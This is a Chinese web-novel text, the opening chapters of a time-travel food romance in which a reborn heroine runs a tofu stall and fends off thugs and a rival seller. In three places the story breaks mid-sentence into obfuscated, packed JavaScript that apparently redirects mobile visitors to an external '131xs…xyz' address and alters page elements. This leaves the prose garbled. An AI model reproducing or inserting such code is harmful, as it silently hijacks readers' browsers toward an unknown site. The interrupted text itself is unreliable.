《豆腐西施在线摆摊(美食)》 1. 第一章 绿水蜿蜒,两岸垂柳依依,细长的柳枝垂落在水面,漾起圈圈涟漪。 晨雨淅淅沥沥,青石板路被雨水洗刷的发亮,倒映着街边的白墙黑瓦。 沈盈月的豆腐摊,就摆在这路旁的一棵老槐树下。 摊上架着一块干净的蓝印花布,明艳的色彩格外惹眼。几只浅底竹篮并排摆放,刚做好的嫩豆腐静卧其中。 雪白的豆腐块裹着水汽,透着莹润的光泽,凑近便能闻到清浅的豆香。 沈盈月身着一袭浅色罗裙,鬓发仅用一支木簪松松绾起,露出眉目温婉的面庞。 “盈丫头,又出来摆摊啊?”白胡子老头背着手,慢悠悠地晃到沈盈月的摊位前,语气带着熟稔的随意。 沈盈月忽而抬眼,抬眸见是他,眉头微蹙,没好气地说道:“去去去,挡我道了。” 胡老头却像没听见似的,非但没挪步,反而往前凑了凑。 他摇了摇头,咂咂嘴,絮絮叨叨地开口:“你说你,一个姑娘家抛头露面做什么生意呢?如今年纪也不小了,我劝你啊,还是回去找个郎君嫁了吧!” 这话沈盈月天天听,耳朵都快起茧子了。 “呸!”沈盈月一恼,站起身来狠狠地啐了他一口,“你年纪也不小了,还是找个坟头埋了吧。” 胡老头被这呛人的话气得不轻,胡子瞬间翘了起来。 他指着沈盈月的鼻子,声音拔高了好几个度:“嘿?谁教你这么说话的,真是目无尊卑!” 沈盈月不甘示弱,同样大声反驳:“哦,谁又教你这么说话的?真是为老不尊。” “你这小丫头片子!”胡老头气得吹胡子瞪眼,周围几个游手好闲的壮丁也凑了过来,围起来看热闹。 沈盈月见这一群人跟着多管闲事,心里愈发窝火,只觉今天倒霉透顶。 她猛地把手中的白布一甩,双手叉腰,对着那几个大汉大声呵斥道:“都看什么看,有什么好看的!不买别看!” 说罢,她迅速地把蓝布一卷,手脚麻利地收起摊子,往家赶去。 ...... 与其说是这家,其实不过是间破旧不堪的茅屋。屋顶的茅草稀疏,不少地方已露出底下斑驳腐朽的木板。 每逢雨天,屋内便滴滴答答,总得摆满接雨的盆盆罐罐。夜里听着雨声,教人难眠。 屋子又破又挤,巴掌大的空间刚够一个人勉强容身。沈盈月把装豆腐的竹篮、工具往墙角一放,便再无多余空间可供周转。 屋内陈设简陋至极,一张窄小的木床占据了些许空间。 除此之外,床边放着个破旧的木箱,上头落了锁。里面装着这段日子以来卖豆腐赚的银钱,也是她如今唯一的家当。 便是这样一间茅屋,却是她在这世间唯一的容身之所。 原主本是长洲县本地赫赫有名的富商之女,家中经营的“盈香楼”,曾是县里最红火的酒楼。往来食客络绎不绝,何等风光。 可天有不测风云,三年前沈家一桩生意折了本。 债主临门,家产房屋尽数典当,一朝大厦倾颓,沈家便成了穷光蛋。 家中破产后,父母无奈,跟着商队远赴西域谋生,独留她孤苦伶仃地守在长洲县。 原主在富贵堆里长大,是个飞扬跋扈的大小姐,仗着家中有钱挥金如土、游手好闲。 这样的日子过了整整十七年,或许真的惹得天怒人怨,好日子终于到了头。 镇上的百姓个个都在看她的笑话。 只是谁也没想到,嘿!这小丫头在家哭了三天三夜,竟然像是脱胎换骨一般,支个摊子卖起了豆腐,自力更生赚钱。 当然,外人不知道的是,如今的“沈盈月”,早已不是当初那个娇生惯养的大小姐。 只惨了来自21世纪的美食博主沈盈月,稀里糊涂地穿到了这个与她同名同姓、甚至长相都一模一样的“沈盈月”身上。 一朝穿越,她的好日子也跟着这个沈大小姐一起到头了。 沈盈月摸着脸,满心希望这只是一场噩梦,真想狠狠把自己掐晕。 话虽如此,她还是抖擞起来。毕竟生活还得继续,既来之则安之,总不能一直消沉下去。 抬眼望向窗外,雨丝细密,街上行人寥寥,再守着摊子也是徒劳。 她不打算再白白浪费时间,思索一番后,决定去市场采购点原材料,为明日做豆腐做准备。 沈盈月撑起那把破旧的油纸伞,踏入细密的雨幕之中。 …… 翌日一早,沈盈月便蹲在灶台前,看着大锅里乳白色的豆浆慢慢翻滚。 今日她要多做一样吃食,豆腐脑。 豆腐虽好,却多做菜肴。早市上买的人多是为了午晚两餐,若能添上豆腐脑,既能当早餐卖,又能吸引赶早的顾客,多赚些钱。 山路依旧硌脚,前些日子脚底磨出的水泡还在隐隐作痛,可想到今日的新吃食,她的脚步却轻快了许多,盼着能多赚些银子。 到了镇上,老槐树下的摊位还空着。 她先将装豆腐脑的桶放在木板旁,又从竹篮里取出几个干净的粗瓷碗、一小罐酱油、一碟葱花,还有用小布包着的细盐,一一摆开。 刚掀开豆腐脑桶上的白布,温热的豆香就立刻飘散开,勾得早起的路人纷纷侧目。 旁边张婆婆刚买完青菜,眼睛立刻亮了:“姑娘,今天怎么还有豆腐脑呢?我最喜欢吃了!” 张婆婆是出了名的热心肠,自打沈盈月来摆摊,见她小小年纪就孤家寡人,独自讨生活不容易,便总特意绕到她摊前光顾。 沈盈月笑着拿起勺子,舀了一勺递到张婆婆嘴边:“婆婆好眼力,我想着多做些新花样,大家伙也能吃得更开心。您尝尝,怎么样?” 豆腐脑入口即化,豆香混着酱油的咸鲜,瞬间在嘴里散开,满口生津。 张婆婆连连点头:“好,真嫩,比镇上早点铺的还滑溜。我闺女就爱喝豆腐脑,等会儿我多买两碗回去,让她也尝尝鲜!” 说话间,集市渐渐热闹起来。 昨日买过豆腐的一位妇人提着菜篮走来,看见桶里的豆腐脑,好奇地停住脚:“姑娘,这是新出的?怎么卖呀?我家孩子早起总不爱吃饭,若是这豆腐脑合他胃口,往后我天天来买。” “豆腐脑两文钱一碗,您要是再买斤豆腐,算您三文钱,比单买便宜半文。”沈盈月拿起粗瓷碗,麻利地舀了一碗豆腐脑,撒上葱花、淋上酱油,又加了少许细盐递过去,“您先尝尝,不好吃不收钱。” 妇人接过碗,吹了吹热气,喝了一口,眼睛立刻亮了:“这豆腐脑真滑嫩,我家孩子肯定爱吃!给我来两碗豆腐脑,再称一斤豆腐。” 有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305657|182823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人的带动,摊位前很快围满了人。 日头渐渐升高,桶里的豆腐脑卖得精光,竹篮里的豆腐也见了底。 原以为新添的豆腐脑只是试水,没成想第一天就这么受欢迎,连带着豆腐都比往日卖得快,远远超出了她的预期。 有个背着书箱的书生匆匆路过,闻到残留的豆香,凑过来问:“姑娘,还有豆腐脑吗?想买一碗垫垫肚子。” 见沈盈月摇头,他脸上露出惋惜的神色,轻轻叹了口气:“早知道该早点来,明日一定赶早!” 沈盈月笑着应道:“明日我多做些,您要是怕跑空,可以跟我约个时辰,我给您留着。” 书生听了,立刻高兴地应下,说明日肯定来光顾。 正和书生说着话,一阵杂乱的脚步声突然传来。 抬头望去,只见三个敞着衣襟的大汉晃悠悠地走到她面前。 为首的疤脸大汉一脚踩在摊前的路面上,手往腰间一叉,油腻腻道:“哟,这小娘子的摊子倒是热闹,卖的什么好东西,让爷也尝尝?” 旁边两个大汉跟着起哄,一个瘦高个伸手就要去掀装豆腐脑的桶盖,嘴里还嚷嚷:“闻着挺香,给小爷也来一碗尝尝!” 这几人的模样、神态,一看就是县里专爱惹事的地痞流氓,街坊们见了都下意识往后躲。 沈盈月缓缓直起身,眼神冷了下来:“手往哪儿伸?我这摊子是做正经生意的,想买就按价掏钱,不想买就赶紧走,别在这碍眼。” 疤脸大汉没想到她一个小姑娘竟如此胆大,镇上的百姓哪个见了他们不躲着走? 他嗤笑一声,往前凑了两步,几乎要贴到沈盈月面前:“正经生意?爷看你这小模样,做什么生意都不如跟了爷,保准你天天有肉吃,不比在这风吹日晒强?” 说着,他伸手就要去捏沈盈月的下巴。 周围的街坊顿时安静下来,张婆婆想上前劝,却被旁边的瘦高个推了一把,吓得缩了回去。 几个想买东西的路人也不敢上前,只能远远看着。 这些地痞平日里横行惯了,谁也不敢惹祸上身。 沈盈月早有防备,不等他手碰到自己,猛地往后一躲,同时抓起摊旁装酱油的瓷罐,手腕一扬,大半罐酱油“哗啦”一声全泼在了疤脸大汉脸上。 酱油顺着他的眉眼往下流,糊住了他的眼睛,疼得他“嗷”一声惨叫。 他捂着脸往后退:“你这疯婆子,敢泼爷?不想活了是不是!” “疯婆子?”沈盈月冷笑一声,“我看你们是活腻了。光天化日之下调戏良家妇女,真当这没有王法了?” “我告诉你们,今日你们敢动我一根手指头,我就跟你们拼命,不是你死就是我活!大不了咱们去官府评理,看官差是抓你们这些流氓,还是罚我这守规矩的生意人!” 她声音又亮又脆,街上不少人都闻声看过来,指指点点的目光落在她身上。 “这不是以前盈香楼的大小姐吗?” “我的天,真是她?当年盈香楼多风光啊,如今这大小姐竟在这摆摊卖豆腐?” “呸,盈香楼早就倒闭了,现在提这些有什么用!” “我记得她以前可娇贵了,实打实的纨绔!” “是啊,以前她哪会干这些活?三十年河东,三十年河西。我看啊,这就是天道好轮回!” 2. 第二章 沈盈月欲言又止,这些都是原主实打实的过往,娇纵、任性,仗着家里有钱就随心所欲。 她没法替原主辩解,只能默默认下。 “你们这话就不对了。”张婆婆听不下去了,上前拉住沈盈月的手,对着人群大声说,“以前是以前,现在是现在。盈月姑娘现在哪还有半点以前的样子?” “是啊是啊。”刚买完豆腐脑的妇人也帮腔,“谁还没年轻不懂事的时候?人家小姑娘也不容易。” 人群的议论声渐渐缓和下来,渐渐的,有人点头附和:“说的也是,当年她年纪小,又是被家里宠大的,难免不懂事。现在她能踏踏实实地做买卖,不偷不抢,靠自己双手吃饭,比那些游手好闲的流氓强多了!” 疤脸大汉本就被酱油糊了眼,又听着人群里对沈盈月的评价渐渐转向同情,对自己满是鄙夷,心里的火气“噌”地就冒了上来。 他横行长洲县这么久,什么时候受过这种冷遇?之前那些街坊见了他要么躲要么赔笑,如今倒好,竟都帮着一个死丫头说话,把他当空气! 瘦高个拉了拉疤脸大汉的衣角:“大哥,算了算了,别跟这疯婆子计较,一会儿官差来了就麻烦了。” 疤脸大汉擦了擦脸上的酱油,看见周围人鄙夷的眼神,心里也发怵。 他却还想撑场面,只得恶狠狠地瞪着沈盈月道:“你给爷等着,往后别让爷再看见你!” “我就在这摆摊,天天都在。”沈盈月毫不示弱,往前迈了一步,“有本事你就来,看是你先蹲大牢,还是我先怕你。” 三个大汉被她的泼辣劲镇住,怕真引来官差,骂骂咧咧地往后退,最后慌慌张张地钻进旁边的小巷子,很快没了踪影。 日头已过正午,沈盈月正式收摊。 桶里的豆腐脑卖完了,豆腐也只剩两小块,今日的生意比预想中还好。 刚才赶跑地痞后,不少街坊为了帮衬她,特意过来买豆腐脑,看来大家是真的慢慢相信她了。 明日要多做些豆腐和豆腐脑,既要给老主顾留着,也得应付可能再来的客人。 她走得不快,一来小车虽空了大半,却还压着些工具,二来昨日磨出的水泡破了,此刻硌得脚底隐隐作痛。 可她没像往常那样觉得累,反倒哼起了小曲。今日不仅生意好,还硬气地赶跑了地痞,真是畅快。 出了镇子,路就陡了些。 总算看见自家那间破旧的茅屋了,沈盈月加快脚步,到了院门口,她先把小车上的东西卸下来,将空桶、竹篮搬到灶房。 做完这些,才终于松了口气,坐在门槛上歇脚。 阳光透过门框照进来,落在她身上,暖得人发懒。她从布囊里倒出铜钱,一枚枚数着。 不算不知道,一算吓一跳。今日竟赚了五十文!比往日多了近一半。 这可是她穿越过来,单日赚得最多的一次。 她把铜钱分成三份,一份十文小心翼翼放进床头的木箱锁好,这是应急的本钱。 一份二十五文单独用布巾包好,明日买黄豆、补卤水刚好够,还能多备些柴火。 剩下的十五文,她攥在手里舍不得松开。 她打算等再攒些,就去镇上盘一个店面,好过这样天天风吹日晒。 ...... 次日天还未亮,柴房就亮起了微光。 沈盈月蹲在灶台前,指尖捻着一小撮晒干的桂花,鼻尖萦绕着清甜的香气。 前几日去后山采野菜时,她发现山腰的桂树开得正盛,便摘了些回来晒干。 这些天卖豆腐和豆腐脑虽稳当,可总做一样吃食,顾客难免会腻。 她想试着把桂花和豆腐结合,做个新鲜的“桂花豆腐”,说不定能留住更多回头客。 做桂花豆腐,豆浆得比寻常更细腻些,她磨了两遍,又用细纱布反复滤了两次渣,才倒进大锅里煮。 等了约莫半个时辰,她轻轻掀开纱布。 只见雪白的豆腐上缀着细碎的金黄桂花,像撒了层碎金。用指尖碰了碰,软而不塌,比寻常豆腐更显莹润。 她切下一小块放进嘴里,入口是豆腐的细嫩,咽下去时,桂香才缓缓在舌尖散开,甜而不腻,比她预想的还要好。 第二天出摊时,她把桂花豆腐摆在最显眼的位置,一股淡淡的桂花清香就飘了出去。 熟客张婆婆提着菜篮走过来,篮子里还装着刚买的青菜,老远就笑着喊:“盈月姑娘,今日又出新花样了?” 沈盈月迎上去,笑着从豆腐板上切下一块温热的嫩豆腐,用油纸包好递过去:“张婆婆早!昨日您说家里豆腐快吃完了,我给您留了块最嫩的。” 说着,她又取出桂花豆腐:“对了,今日做了点桂花豆腐,您要不要尝尝?刚做好的,免费给您添碗,您帮我品品味道。” 她舀了一块桂花豆腐豆腐倒进粗瓷碗里,又用小银勺淋了少许桂花蜜。蜜色的汁液顺着豆腐脑的纹路缓缓流下,瞬间飘出一阵清甜的桂花香。 张婆婆接过碗,轻轻抿了一口,眼睛瞬间亮了,连声音都提高了几分:“哎哟,这口感怎么这么嫩?入口就化了,还带着桂花的香味,比我以前在城里酒楼吃的还好吃。姑娘,你这手艺真是绝了!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305658|182823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 周围路过的街坊听见动静,纷纷围过来,都好奇地探头:“什么东西这么香?张婆婆,真有这么好吃?” 沈盈月趁机起身介绍起来:“今日刚试做的,用的是自己摘的新鲜桂花,大家要是不嫌弃,都可以尝一碗,不用给钱。要是喜欢,往后我每天都带点过来,只收个成本价。” 说着,她又拿起几个粗瓷碗,给围过来的街坊每人添了小半碗。 一时间,摊位前满是称赞声。妇人尝了一口就笑:“这豆腐太适合我家孩子了,细嫩又好吃,往后我天天来买。” 孩童嚼着嘴里的甜香,拉着沈盈月的衣角:“姐姐,明日还会有吗?我还要让娘给我买!” 沈盈月笑道:“有、肯定有,绝对管够。” 不一会儿,沈盈月的摊位前就排起了小长队。 有买豆腐的,有特意来尝豆腐脑的,还有街坊主动帮她维持秩序,场面热闹得很。 沈盈月手脚麻利地盛豆腐脑、称豆腐,看来这桂花豆腐没白做,能获得街坊们的认可再好不过了。 正忙着,人群外忽然传来一阵熟悉的咳嗽声。 沈盈月抬头一看,竟是胡老头背着手,慢悠悠地晃了过来。 往日里这老头总爱跟她斗嘴,此刻却挤开人群,直奔她手里的豆腐而来。 他语气没了往日的挑剔,反倒带了点好奇:“盈丫头,这就是夸得天花乱坠的桂花豆腐?闻着倒还行,就是不知道吃着怎么样。” 沈盈月见他来了,心里觉得好笑,手上却没停,舀了小半碗递过去,故意逗他:“胡老头,您怎么大驾光临了?这碗可是免费的,您要是觉得不好吃,可别又找我茬。” 胡老头接过碗,瞪了她一眼,却没像往常那样反驳,而是吹了吹热气,轻轻抿了一口。 桂花的清甜混着豆腐的软嫩在嘴里散开,他原本皱着的眉头渐渐舒展开。 胡老头咂咂嘴,又舀了一勺,声音也软了下来:“嗯……算你这丫头有点本事。这豆腐嫩得刚好,桂花香也不冲,很顺口。往日是我小瞧你了,能靠这手艺吃饭,比那些游手好闲的后生强多了。” 周围街坊听了,都笑着打趣:“胡老头,您今日怎么不跟盈月姑娘抬杠了?” 胡老头老脸一红,哼了一声,却没否认,反而凑近沈盈月,压低声音说:“盈丫头,你可得当心王老三那厮。” 沈盈月一怔,又听胡老头道: “今早我去河边挑水,路过王记豆腐铺,听见他在铺子里骂骂咧咧的,手里还攥着根粗木棍,说你一个小丫头片子,敢抢他的生意,早晚让你滚出长洲县!” 3. 第三章 沈盈月盛豆腐的手顿了顿,瓷勺在碗沿轻轻磕了一下。 王记豆腐铺是槐荫镇上的老铺子,开了快二十年,据说王老三他爹在世时,做的豆腐又嫩又香,镇上人都爱买。 可自从王老三接手后,就开始偷工减料,味道也变得越来越差。 有次张婆婆买了他家的豆腐,炖出来味道发酸发苦,最后只能用来喂猪。 另一位妇人也骂道,王老三为了压榨成本,豆都选最廉价的陈豆,味道别提有多难吃。 街坊们起初念着王记豆腐老掌柜的情分,还常去光顾,可日子久了,谁也受不了被这样糊弄,生意自然也越来越差。 大家心中早有怨言,只是碍于情面没当面说破,况且镇上也就这一家豆腐铺,没有其他多余的选择,于是只能忍气吞声。 如今她这新鲜细嫩的豆腐一摆出来,街坊们又不是傻子,自然就分流了客源。 可这终究是王老三好吃懒做、不思进取,又与她有何关系? 不过沈盈月很快定了定神,笑着对着胡老头说道:“多谢胡爷爷提醒,我晓得了。但是我做我的正经生意,靠手艺吃饭,他要是真敢来闹,街坊们也不会任由他胡作非为。” 胡老头见她不慌不忙,又道:“你这丫头胆子倒大,不过也别硬拼。要是他真来捣乱,就喊我一声,我们替你出头。” 说罢,他掏出两文钱放在桌上:“给我装一碗豆腐脑,再称块嫩豆腐。往后你这摊子,我也常来光顾。” 往日里总是斗嘴的老头,此刻却真心为她着想,原来这看似固执的老头,人也不算坏嘛。 沈盈月麻利地给胡老头装好东西,又多添了一勺豆腐脑,少见地对这个老头礼貌:“胡爷爷,今日这碗我多给您添点,多谢您今日来提醒我。” ...... 忙碌一天,沈盈月终于回到家。刚把装豆腐脑的空桶摞在墙角,院门外就传来一声巨响。 那扇本就松动的木门被人狠狠踹开,木屑簌簌往下掉。 她想起今日胡老头的提醒,心中心里咯噔一下,这动静,不用想也知道是来找茬的。 抬头一看,果然是那传言中的王老三攥着根比她胳膊还粗的木棍闯进来。 沈盈月早听说王老三为人刻薄,惯会用威逼利诱的手段挤走同行。只是她没料到,这人居然能没脸没皮到闯人家里来。 “小丫头片子,敢抢老子的生意!”王老三眼睛瞪得溜圆,眼神阴鸷得能滴出水。 没等沈盈月开口,他举着木棍就往边上的竹筐砸。 那筐里放着她常用的的工具,只听哗啦一声脆响,里头的纱布被木棍戳出好几个破洞,一边的木勺也滚到地上,眼看就要断成两截。 沈盈月心口一紧,疼得直抽气。 没了细纱布,豆腐怎么过滤?没了木勺,她总不能用手搅豆浆吧? 这家伙就是上门来闹事的,既然他不让自己好过,自己也不会轻易放过对方! 她反手抄起灶台上的铁铲,铲尖对着王老三,冷声道:“王老三,我卖我的豆腐,你做你的生意,咱们各凭手艺吃饭,你凭什么砸我的东西?” “凭什么?”王老三嗤笑一声,唾沫星子溅在地上,“这槐荫镇的豆腐生意,从来都是我王家的天下!你这家破人亡的野丫头,无依无靠的,也敢来插足?” “老子今天就砸光你的东西,看你还怎么抢生意。你若是不乖乖听话,下一次砸的可就不止是东西了!” 他说的的确是实话。原主父母远走西域,她在长洲无亲无故,连个能搭把手的亲戚都没有,确实是王老三眼里最好拿捏的软柿子。 话音刚落,王老三就猛地挥棍朝泡着豆子的瓦缸砸去。 那瓦缸是她淘来的便宜货,壁薄得跟纸似的,这一棍下去,保准碎得连渣都剩不下。豆子若是没了,她明日还怎么做生意? 沈盈月眼疾手快,侧身避开的同时,抄起铁铲就狠狠劈在木棍中间。 铁铲质量不佳,轻飘飘的。她没指望能把木棍劈断,只求能挡一下。 只听“当”的一声,震得沈盈月耳朵嗡嗡响。王老三只觉虎口发麻,木棍差点脱手,踉跄着后退半步,满脸难以置信,跟见了鬼似的。 他没料到这看似柔弱、连风都能吹倒的小丫头,竟有这般力气。 沈盈月嘲讽一笑,王老三肯定以为自己这细胳膊细腿一推就倒。哪想到她不仅敢反抗,力气还不小。 也不看看她这些天磨豆子练出的劲,别说挡一棍,就是再劈两下也撑得住。 “反了你了!”王老三又惊又怒,再次举棍扑来,这次的目标不是那些东西,而是沈盈月的手臂。 他咬牙切齿。非要把这个小丫头片子好好教训她一顿,让她知道谁才是槐荫镇豆腐行的老大! 沈盈月心脏狂跳,后背渗出细汗,却没半点退缩的念头。 她记得曾经看过防身视频里说,对付比自己壮的人,要攻其弱点。 于是她脚步一错,灵活地绕到王老三身侧。 王老三见她躲闪,以为她怕了,棍子又往她肩头扫来。 沈盈月看准时机,身子猛地往下一蹲,刚好躲开木棍。于此同时攥着铁铲的手往前一送,铲柄狠狠撞在王老三膝盖弯上。 这一下她用了十成十的劲,这些天磨豆子练出的臂力,全用在了这一击上。 王老三膝盖一软,闷哼一声,整个人往前踉跄着栽倒在地,手里的木棍掉在地上。 他还没来得及爬起来,沈盈月用左手猛地抓住他持棍的手腕,右手铁铲顶住他的脖颈,压低声音:“你再动一下试试?我这铁铲边缘可利得很,若是不小心划到你……你说呢?” 王老三被铁铲抵住脖颈,冰凉的铲边贴着皮肤,让人心惊胆战。他最是贪生怕死,此刻连呼吸都不敢太用力,后背瞬间渗出一层冷汗。 他挣扎着想抽回手腕,却被沈盈月攥得死死的。 那手看着纤细,力道却像铁钳似的,攥得他手腕生疼,半点动弹不得。 王老三声音发颤,却还想撑着架子放狠话:“你敢动老子?我告诉你,老子在官府有人,你敢伤我,没好果子吃!” “威胁?我可不敢。我一个无牵无挂,光脚的不怕穿鞋的。你要是真把我逼急了,我天天去你铺子门口坐着,跟买豆腐的人说说,你是怎么拿着棍子闯到一个姑娘家的茅屋里,又砸东西又打人。你说,往后还有人敢买你的豆腐吗?你那开了二十年的铺子,还能撑多久?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16305659|182823||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 沈盈月手上悄悄加了劲,看着王老三脸色从红变白,心中暗爽。 这话戳中了王老三的软肋,他最怕的就是被人戳脊梁骨,到时候生意就真的完了。 他的脸瞬间涨成猪肝色,握着木棍的手松了几分,挣扎万分。既想继续逞凶,又怕真的闹大,丢了生意还惹上官司。 “你……你别胡来!”王老三的声音渐渐弱了下去,没了刚才的嚣张。 “是你先胡来的。”沈盈月松开他的手腕,却没放下铁铲,防人之心不可无,“现在,你要么把砸坏的东西赔给我。要么,咱们现在就去官府评理,我倒要看看,你那官府的熟人能不能护着你。” 王老三知道今天讨不到好,再闹下去,只会让自己更难堪。 于是他狠狠啐了口唾沫在地上,撂下句硬话:“算你狠。这东西我赔,但你给老子记住,往后别让我抓到把柄,不然我饶不了你。泼妇!” 说罢,王老三不敢再停留,拎着木棍狼狈地退出茅屋。 他出门时没注意门槛,还差点绊倒,最好踉跄着扶住门框,灰溜溜地走了。 见他连头都没敢回,大概是怕沈盈月再追上去理论。 沈盈月看着他的背影消失在巷口,才缓缓放下铁铲。 刚才她看似镇定,实则也紧张得狠,手心全是冷汗。 毕竟她也有些虚张声势,王老三毕竟是个肥头大耳的壮汉,若是王老三决心鱼死网破,真跟她拼命,自己也不一定能落着好。 她弯腰捡起地上的破纱布,指尖抚过那些破洞,心疼得厉害。 这都是她一分一文攒下来的钱买的,被这家伙一下子毁了个一干二净。 她把破纱布叠好放在一边,又摸了摸泡黄豆的瓦缸,确认缸里的黄豆还好好的,悬着的心这才彻底落下。 窗外的天色渐渐暗了,茅屋只剩下她一个人的身影。 ...... 油灯燃了大半夜,沈盈月几乎一夜没睡。 昨晚王老三闹过之后,她总担心对方折返,翻来覆去睡不着,索性爬起来琢磨新吃食。 单靠豆腐和豆腐脑,就算眼下生意火热,日子久了街坊们难免会腻。 更别提王老三盯着她的生意眼馋,要是没有新花样压阵,往后指不定还会闹出什么幺蛾子。 既然王老三总说她抢他生意,那她就再做个他不会的。 她左思右想,瞧见案台上摆着前些天从山里采的一大袋野栗子,壳还没剥净,是她原本想煮着当零嘴的。 指尖捏着颗圆滚滚的栗子,沈盈月忽然想起曾经在现代做过的“栗子豆腐”,她还专门拍过一期教程视频。 所谓栗子豆腐,是地方特产,味道既有栗子特有的坚果香气,又有豆腐细腻滑嫩的柔润口感,清爽不腻。无论是用来凉拌还是炒菜,都十分美味。 材料就绪,盖上锅盖焖许久,沈盈月再次掀开时,锅里的豆腐已经凝得恰到好处。 沈盈月心里有些没底,毕竟古代和现代的制作工具不同。 现代有破壁机,用的是细滤网,可现在只有石臼捣泥,纱布也很粗糙,她总怕滤不干净,影响栗子豆腐的口感。 她盛了小半碗放凉,战战兢兢地尝了一口。 4. 第四章 试探着抿了一口,野栗独有的清甜瞬间漫开,顺着舌尖往下滑时,那豆腐竟自化了,半点颗粒感也无,只留满口温润。 她满意地找了几个粗瓷小碗,每个碗里盛多半碗栗子豆腐,到时候摆在最前头,让人一眼看出是新吃食。 余下的便与寻常豆腐一通放进竹篮,覆上湿布保着嫩气,需用时再切不迟。 明天开业时可以先切些小块,给街坊们试吃。 张婆婆爱吃甜口,胡老头喜欢软糯的吃食,这栗子豆腐定能合他们的胃口,说不定还能引些新客来。 东方刚染出一抹鱼肚白,她已经把栗子豆腐装进食盒,和豆腐、豆腐脑一起放进小车,推着小车出了门。 到镇上时,张婆婆就提着菜篮迎上来,老远就喊:“盈月姑娘,今日怎么比往常早了?” 沈盈月笑着解开蓝印花布,先把装栗子豆腐的小碗摆在最前面。 甜润的栗香瞬间混着豆香就飘了出去,沈盈月含笑道:“婆婆早,今日做了点新吃食,您要不要先尝尝鲜?” 话音刚落,周围就围过来几个熟客。 一位妇人凑上前,看着碗里的栗子豆腐,好奇地问:“这是什么呀?奇了怪了,怎么是褐色的?” 沈盈月拿起木勺,舀了小半碗递给她们:“这是栗子豆腐,用后山的野栗子做的。” 妇人尝了一口,眼睛瞬间亮了:“哎哟,好吃,和以前的都不一样!盈月姑娘就是会琢磨新花样,给我来两包,我带回去做菜!” 旁边赶早工的汉子也急着要尝,沈盈月刚盛好一碗,就见胡老头背着手晃过来,语气还是老样子:“盈丫头,新吃食也给我来一碗,别跟上次似的,还得我跟你讨。” 沈盈月忍不住笑,给胡老头盛了碗满的:“胡老头你放心,早给你留着了。” “没大没小。”胡老头笑了一声,接过碗,小口抿着,没像往常那样挑刺,只点了点头,“嗯,比王老三那硬邦邦的豆腐强多了。” 这话引得周围人都笑起来,有说要带回去给家人尝的,有问能不能多买几碗的,没一会儿,摊位前就排起了长队。 沈盈月手里的动作没停,胡老头站在摊位旁没离开,看着她忙活的样子,压低声音问:“盈丫头,我听巷口的老周说,昨晚王老三去你家找事了?还拎着根木棍,闹得动静不小?” 沈盈月盛豆腐的手顿了顿,胡老头看着嘴硬,倒还记挂着她的事。 她笑了笑,语气放得轻松:“是来了一趟,不过没什么大事,我跟他理论了几句,他就走了。” 可胡老头哪会信这么简单,重重哼了一声,声音都拔高了些:“没大事?那家伙的性子我还不清楚?他要是没讨着好,能这么轻易走?是不是砸你东西了?” “你别怕,要是他真敢欺负,咱们街坊们都能给你撑腰,不能让他这么横行霸道,欺负你一个小姑娘!” 想必胡老头十分了解王老三的为人,这还真给他猜对了。 这话一出,周围的街坊都安静了些,目光齐刷刷地看向沈盈月,都带着担忧。 沈盈月依旧温和地笑着,一边给面前的街坊切豆腐,一边轻声说:“王老板开了几十年的老铺,经营这么多年不容易,肯定也有自己的难处。我也是不想跟他起冲突,大家各做各的生意,和气生财多好。” “其实我也没想着抢谁的生意,就是想靠手艺挣口饭吃,大家买豆腐图的是新鲜好吃,我只要把我的豆腐做好,大家愿意来照顾我的生意,我就已经很感激了。” 这番话没指责王老三半句,倒显得她气度大,引得街坊们纷纷点头附和:“盈月姑娘说得对,王老三就是小心眼。人家一个小姑娘,靠自己手艺吃饭,碍着他什么了?” “就是,咱们买谁的豆腐,凭的是口味,又不是看谁的铺子老。王记的豆腐越来越难吃,还老涨价,我早就不想买了!” “盈月姑娘这么实在,还免费给咱们尝新品,往后我就来你这儿买!” 街坊们热热闹闹地说着话,有说今日栗子豆腐不够吃的,有叮嘱她明日多带些的,沈盈月笑着应着,手里麻利地收拾摊位。 临近午时,豆腐车上的豆腐、豆腐脑连同最后两块栗子豆腐全都卖得精光。 她正收拾摊位时,看见王老三骑着一头灰驴从街对面经过,他眼神恶狠狠地瞪着她的摊位,眼神里的怨怼都快溢出来了。 他嘴唇动了动,像是想说什么,可看见她摊位前还有几个街坊在跟她道别,又硬生生把话咽了回去,狠狠踢了一下驴肚子,加快速度走了。 沈盈月看着他那副敢怒不敢言的样子,只觉又好气又好笑。 推着空豆腐车往家走时,已经日上三竿了。 